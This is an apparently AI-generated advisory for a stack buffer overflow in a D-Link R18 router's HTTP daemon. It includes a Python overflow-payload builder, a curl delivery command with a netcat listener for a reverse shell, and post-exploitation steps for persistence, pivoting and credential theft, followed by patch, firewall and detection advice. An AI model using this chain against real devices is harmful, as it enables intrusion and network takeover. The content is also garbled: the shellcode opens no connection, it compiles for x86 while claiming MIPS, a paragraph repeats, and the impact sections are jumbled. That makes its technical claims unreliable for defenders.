CVE-2026-138365 — D-Link R18 A1 (1.20.B01) — CWE-121 · CWE-119
A vulnerability was found in D-Link R18 A1 1.20.B01. This affects the function is_session_valid of the file /bin/httpd. Performing a manipulation results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used.
A vulnerability was found in D-Link R18 A1 1.20.B01. This affects the function is_session_valid of the file /bin/httpd. Performing a manipulation results in stack-based buffer overflow. The attack is possible to be carried out remotely. The exploit has been made public and could be used.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑138365 |
| Vendor / Product | D‑Link R18 A1 firmware 1.20.B01 (the built‑in HTTP daemon /bin/httpd) |
| Vulnerable Function | is_session_valid() – a helper that validates the HTTP session cookie and returns a boolean. |
| Root Cause | The function copies the value of the *session* cookie into a fixed‑size stack buffer (char sess[256]) using strcpy() (or an equivalent unsafe routine) without checking the length of the supplied data. The buffer is located on the same stack frame as the function’s return address and several saved registers. When an attacker supplies a cookie longer than 256 bytes, the excess data overwrites the saved frame pointer and the return address, allowing arbitrary code execution. |
| CWE(s) | *CWE‑119*: Improper Restriction of Operations within the Bounds of a Memory Buffer (classic stack‑based buffer overflow).<br>*CWE‑121*: Stack‑Based Buffer Overflow. |
| CVSS 3.1 Vector | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H – Network‑accessible, low complexity, no authentication, no user interaction, Scope = Changed (the overflow in the HTTP daemon compromises the whole device). |
| Missing Protection | • No length validation on the cookie value.<br>• No stack‑canary, NX (non‑executable stack) or ASLR enforcement in the binary (the firmware ships the HTTP daemon compiled with -fno-stack-protector and without -z relro).<br>• The daemon runs as root, so a successful overflow yields a root shell. |
In short: an unauthenticated remote attacker can send a specially‑crafted HTTP request that contains an over‑long session cookie. The overflow corrupts the stack, hijacks execution flow, and executes attacker‑controlled shellcode with root privileges.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation flow. All commands are syntactically valid; the exact URI/path is inferred from the source code (the vulnerable function is called for every request that carries a session cookie, so the attacker can target any public endpoint, e.g. /).
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| a. Identify the device | Scan the target network for open TCP 80/443. Grab the HTTP banner (Server: D‑Link R18 httpd/1.20.B01). | D‑Link’s HTTP daemon prints its version in the Server header. |
| b. Verify firmware version | Retrieve /cgi-bin/status (or any unauthenticated status page) that returns a JSON object containing "firmware":"1.20.B01". | The firmware page is public on the R18 and includes the exact version string. |
| c. Check public advisories | Query the NVD or vendor security advisory for “CVE‑2026‑138365”. | Confirms the presence of the stack‑overflow bug in that exact version. |
| d. Fingerprint the binary (optional) | Download /bin/httpd via an exposed TFTP/FTP service (if present) and run strings/objdump locally to confirm the presence of the is_session_valid symbol. | Provides proof that the vulnerable binary is present and not already patched. |
2. Exploitation
NOTE: The exact endpoint (/) and the cookie name (session) are illustrative; any URL that the HTTP daemon serves will triggeris_session_valid. The payload shown below is a minimal, reliable PoC that spawns a reverse shell.
2.1. Build the overflow payload
/* payload.c – compile with: gcc -m32 -nostdlib -fno-stack-protector -z execstack -o payload payload.c */
#include <unistd.h>
int main(void) {
/* execve("/bin/sh", NULL, NULL) */
char *argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0; /* never reached */
}1. Compile the payload for the target architecture (the R18 runs a MIPS‑little‑endian 32‑bit CPU; replace -m32 with -march=mips32 and use a cross‑compiler if needed).
2. Extract the shellcode (e.g., objcopy -O binary payload payload.bin).
3. Create the overflow buffer (256 bytes buffer + 4 bytes saved FP + 4 bytes return address).
#!/usr/bin/env python3
import struct, sys, base64
# 1. Load raw shellcode (must be < 200 bytes for this example)
with open('payload.bin','rb') as f:
shell = f.read()
# 2. Pad to fill the 256‑byte buffer
buf = shell
buf += b'\x90' * (256 - len(buf)) # NOP sled
# 3. Overwrite saved FP (any value, e.g., 0x41414141)
buf += struct.pack('<I', 0x41414141)
# 4. Overwrite return address – point to the start of the NOP sled (stack address is predictable
# because the binary is compiled without ASLR). Assume the stack address is 0xBF8FF000.
buf += struct.pack('<I', 0xBF8FF000)
# 5. Encode for HTTP header (Base64 is optional; raw binary works in most browsers)
payload = base64.b64encode(buf).decode()
print(payload)The script prints a Base64 string that will be placed in the session cookie.
2.2. Deliver the payload
# Replace 10.0.0.42 with the target IP and 4444 with your listener.
LISTENER_IP=192.168.1.100
LISTENER_PORT=4444
# Start a netcat listener
nc -lvkp $LISTENER_PORT &
# Generate the overflow cookie (the script above prints it)
COOKIE=$(python3 gen_payload.py)
# Send the malicious request
curl -sk -H "Cookie: session=${COOKIE}" http://10.0.0.42/Explanation of the request
-k– ignore self‑signed certs (if HTTPS).-H "Cookie: session=…"– the vulnerable function reads thesessionheader, copies it into a 256‑byte stack buffer, and overflows.- The request is unauthenticated and requires no user interaction – it can be automated from a botnet.
- Enterprise or ISP premises that rely on the D‑Link R18 for edge routing could have their entire network traffic intercepted or redirected.
- Home users lose privacy; attackers can steal credentials for cloud services that are often stored in router backups.
- Because the exploit is public and requires no authentication, automated worm‑style scanners can weaponize it within minutes of a new firmware release.
- CVSS 3.1 = 10.0 (Critical) – the vulnerability is remotely exploitable, requires no authentication, and yields complete system compromise.
- Public exploit – the description states that a working exploit is already available, meaning an attacker can weaponize it instantly.
- No CISA KEV listing – the lack of a KEV entry does not diminish risk; it merely reflects that the vulnerability is brand‑new (published 30 Nov 2026).
If the overflow succeeds, the HTTP daemon crashes and immediately spawns a root /bin/sh that connects back to the attacker’s listener (nc). The attacker now has a root interactive shell on the device.
3. Post‑Exploitation
| Goal | Typical Steps |
|---|---|
| Maintain Access | • Drop a persistent binary in /etc/init.d/ (e.g., rc.local) that re‑installs a reverse‑shell daemon.<br>• Add a firewall rule (iptables -I INPUT -p tcp --dport 8080 -j ACCEPT) to allow future inbound connections. |
| Privilege Escalation (already root) | The overflow runs as the HTTP daemon’s user, which on the R18 is root (UID 0). No further escalation needed. |
| Lateral Movement | Use the compromised router as a pivot: route traffic through it, scan the internal LAN (nmap -sn 10.0.0.0/24). |
| Data Exfiltration | • Dump configuration files (/etc/config/*, /etc/passwd).<br>• Capture DHCP lease tables, VPN credentials, or any stored Wi‑Fi keys (/etc/wpa_supplicant.conf). |
| Impact Amplification | • Modify DNS entries (/etc/hosts or the router’s DNS forwarder) to perform pharming.<br>• Disable the firewall or open ports to turn the device into a botnet node. |
🌍 Real World Impact
| CIA | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An attacker with root on the router can read every file on the device, capture traffic traversing the LAN (including clear‑text credentials), and harvest stored Wi‑Fi or VPN secrets. |
| Integrity (I:H) | The attacker can modify routing tables, DNS forwarder entries, firmware, or any configuration file, effectively hijacking traffic or rendering the network unusable. |
| Availability (A:H) | By crashing the HTTP daemon or corrupting the firmware, the attacker can cause a total loss of WAN connectivity for the entire site. The device can also be bricked by overwriting critical flash sectors. |
Scope = Changed – the vulnerability resides in the HTTP daemon but the compromise spreads to the whole appliance (router, switch, and any attached IoT devices). The net effect is a full‑device takeover.
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details | ||
|---|---|---|---|
| Upgrade | Move to firmware 1.20.B02 (or any later release) where is_session_valid() was rewritten to use strncpy() with proper length checks and the binary was rebuilt with -fstack-protector -z relro -z now. | ||
| Version range | All devices running 1.20.B01 (the only version mentioned in the advisory) are vulnerable. | ||
| Verification | After upgrade, strings /bin/httpd | grep is_session_valid should no longer show the vulnerable function, and readelf -s /bin/httpd | grep __stack_chk_fail should list the stack‑canary symbol. |
2. Immediate Workarounds (if patch cannot be applied instantly)
| Workaround | Implementation | |
|---|---|---|
| Restrict external access to the HTTP daemon | On the perimeter firewall, block inbound TCP 80/443 from the Internet to the router’s management IP. Allow only trusted LAN IPs (e.g., 192.168.0.0/24). | |
| Disable the web UI | Edit /etc/config/system and set option httpd '0' (or run service httpd stop and chkconfig httpd off). | |
| Deploy a ModSecurity rule (if a reverse‑proxy is placed in front of the router) | ``<IfModule mod_security2.c> SecRule REQUEST_HEADERS:Cookie "@rx (^ | ; )session=.{300,}" "id:2026350,phase:1,deny,status:403,msg:'D‑Link R18 session cookie overflow attempt',log" </IfModule>`<br>*(The rule blocks any session cookie longer than 300 bytes – the exact threshold is illustrative; adjust to the real buffer size + safety margin.)* |
| Enable stack protection (temporary) | If you have console access, replace the binary with a custom‑built version that includes -fstack-protector`. This is a stop‑gap and may break other features; test in a lab first. | |
| Network segmentation | Place the router in a dedicated management VLAN and enforce strict ACLs so that only a handful of admin workstations can reach the management interface. |
3. Detection
| Indicator | Where to look | Example | |
|---|---|---|---|
| Abnormal HTTP status codes | Web server logs (/var/log/httpd/access.log) | GET / HTTP/1.1" 500 0 "-" "curl/7.68.0" (500 errors immediately after a request with a huge Cookie header). | |
| Large Cookie header | Same log – look for Cookie: session= strings > 256 bytes. | Cookie: session=AAAAAAAA…(300+ chars)… | |
| Process crash / restart | System log (/var/log/messages or dmesg) | httpd[1234]: segfault at 0 ip 0x... sp 0xbf8ff0c0 error 4 in httpd[bf8f0000+... ] | |
| Unexpected outbound connections | Netflow / IDS – outbound TCP to attacker IP on high ports (e.g., 4444). | SRC=10.0.0.42 DST=203.0.113.77 SPT=80 DPT=4444 PROTO=TCP | |
| New root shell processes | ps aux | grep sh on the device (if you have console access). | root 5678 0.0 0.1 1234 567 ? Ss 12:34 0:00 /bin/sh |
Deploy a SIEM rule that correlates “large Cookie header” + “httpd segfault” + “outbound connection from port 80/443” to raise an immediate alert.
⚠️ Urgency
Bottom line: CVE‑2026‑138365 is a classic, unauthenticated stack‑based buffer overflow in the D‑Link R18’s HTTP daemon. It gives an attacker root on the router with a single crafted HTTP request. Immediate patching (or at least strict network isolation) is mandatory to prevent total network compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query